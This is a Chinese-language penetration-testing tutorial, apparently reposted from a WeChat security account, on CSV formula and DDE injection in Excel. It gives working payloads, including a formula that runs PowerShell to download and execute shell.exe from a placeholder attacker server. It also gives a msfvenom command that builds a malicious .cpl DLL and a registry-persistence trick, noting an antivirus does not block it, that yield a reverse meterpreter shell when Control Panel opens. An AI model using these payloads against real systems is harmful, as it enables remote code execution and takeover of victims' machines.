渗透技巧 | 关于csv文件在渗透中的妙用

admin 2022年8月28日23:55:30评论44 views字数 2341阅读7分48秒阅读模式

何为csv

逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符序列,不含必须像二进制数字那样被解读的数据。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号或制表符。通常,所有记录都有完全相同的字段序列。通常都是纯文本文件。建议使用WORDPAD或是记事本来开启,再则先另存新档后用EXCEL开启,也是方法之一。

csv漏洞

csv漏洞即攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而造成攻击行为。

首先产生漏洞的第一个原因就是特殊符号

这里首先尝试在excel里面输入=1+2,回车过后发现csv自动帮我们运算出了结果

渗透技巧 | 关于csv文件在渗透中的妙用

这里是因为在csv文件中+、-、@、=都会解释成公式,自动帮我们得出运算结果

第二个原因就是DDE,DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

这里首先尝试在A1单元格里面调用cmd,填入命令=1+cmd|'/C calc'!A0并保存

渗透技巧 | 关于csv文件在渗透中的妙用

然后重新打开会弹出一个框,这里为了漏洞复现,我们选择是

渗透技巧 | 关于csv文件在渗透中的妙用

继续点击更新

渗透技巧 | 关于csv文件在渗透中的妙用

现在的csv好像已经默认禁用了DDE,这里我们点确定

渗透技巧 | 关于csv文件在渗透中的妙用

点击启用内容

渗透技巧 | 关于csv文件在渗透中的妙用

cmd就会调用calc

渗透技巧 | 关于csv文件在渗透中的妙用

csv注入

那么我们知道了csv产生的原因,这里我们就可以调用cmd执行我们的恶意代码,通过在excel表里面进行操作调用其他进程,例子如下

@SUM(1+1)*cmd|' /C calc'!A0=cmd|' /C notepad'!'A1'=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

cmd后面跟的是命令,直接替换要执行的命令即可,如这里我要打开桌面的demo.txt

=SUM(1+1)*notepad|' C:Users61408Desktopdemo.txt'!A0

保存并退出信任之后即可弹出

渗透技巧 | 关于csv文件在渗透中的妙用
渗透技巧 | 关于csv文件在渗透中的妙用

csv反弹meterpreter

kali生成一个简单的弹calc的dll,并将dll后缀名改为cpl

msfvenom -p windows/exec CMD=calc.exe -f dll > hook.dllmv hook.dll hook.cpl
渗透技巧 | 关于csv文件在渗透中的妙用

然后在win7里面设置一个共享文件夹把hook.cpl放入

渗透技巧 | 关于csv文件在渗透中的妙用

执行命令添加到注册表,这里360是不拦截的

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls" /t REG_SZ /d "\Win7-2021EDCAZUtesthook.cpl"
渗透技巧 | 关于csv文件在渗透中的妙用

打开控制面板即可打开计算器

渗透技巧 | 关于csv文件在渗透中的妙用

使用Procmon跟踪进程发现控制面板会寻找这个注册表路径并加载里面的cpl

渗透技巧 | 关于csv文件在渗透中的妙用
渗透技巧 | 关于csv文件在渗透中的妙用

这里插一句何为cpl文件

CPL文件,又叫控制面板项(Control Panel Item),多保存于系统安装目录的system32文件夹下,它们分别对应着控制面板中的项目,普通用户的访问受到限制。它可由shell32.dll、control.exe打开。此外,你也可以直接在资源管理器中双击调用Open命令打开(实质上调用了shell32.dll)。

CPL文件本质是Windows可执行性文件,但不属于可以直接独立运行的文件,通常由shell32.dll打开。

system32目录里绝大多数cpl文件是Windows系统文件,具有“存档”文件属性,Windows操作系统的文件保护功能保护它们不被篡改。

实验结束,回到上一层话题,使用xls执行cmd命令添加这个注册表路径并执行控制面板获取meterpreter

流程大概是这样的:

渗透技巧 | 关于csv文件在渗透中的妙用

这里再生成一个反弹的dll并改名为cpl(这里生成之后就直接放过去了,忘记改名了,是说一直实验不成功)

渗透技巧 | 关于csv文件在渗透中的妙用

放到共享文件夹里面

渗透技巧 | 关于csv文件在渗透中的妙用

msf开启监听

渗透技巧 | 关于csv文件在渗透中的妙用

这里实验的时候发现一个问题,因为我是win7开的共享准备在2008里面添加cpl,但是我2008里面安装不了office,于是我就换了一下,但是我发现不同的系统cpl文件的路径不同,有的甚至没有这个文件夹

2008是正常的

渗透技巧 | 关于csv文件在渗透中的妙用

然后我换到win7里面发现根本就没有这个文件夹

渗透技巧 | 关于csv文件在渗透中的妙用

win10也是如此

渗透技巧 | 关于csv文件在渗透中的妙用

再找了台域内的win7直接连Controls Folder这个文件夹都没有,好家伙

渗透技巧 | 关于csv文件在渗透中的妙用

这里我直接执行命令的话是不成功的,这里我就手动添加了Control PanelCpls这个路径

=cmd|' /C reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls" /t REG_SZ /d "\WIN-339FINFSV15testcplhook.cpl"'!_xlbgnm.A1
渗透技巧 | 关于csv文件在渗透中的妙用

然后打开控制面板

渗透技巧 | 关于csv文件在渗透中的妙用

即可得到反弹的shell

渗透技巧 | 关于csv文件在渗透中的妙用

后记

关于Control PanelCpls这个路径在不同系统中不同情况的问题,我百度并没有找到能够揭开我疑惑的答案,如果有知道为什么的师傅还请不吝赐教。

渗透技巧 | 关于csv文件在渗透中的妙用


阅读推荐


渗透技巧 | 关于csv文件在渗透中的妙用


点赞    在看    评论


渗透技巧 | 关于csv文件在渗透中的妙用

原文始发于微信公众号(HACK学习呀):渗透技巧 | 关于csv文件在渗透中的妙用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日23:55:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透技巧 | 关于csv文件在渗透中的妙用http://cn-sec.com/archives/567052.html

发表评论

匿名网友 填写信息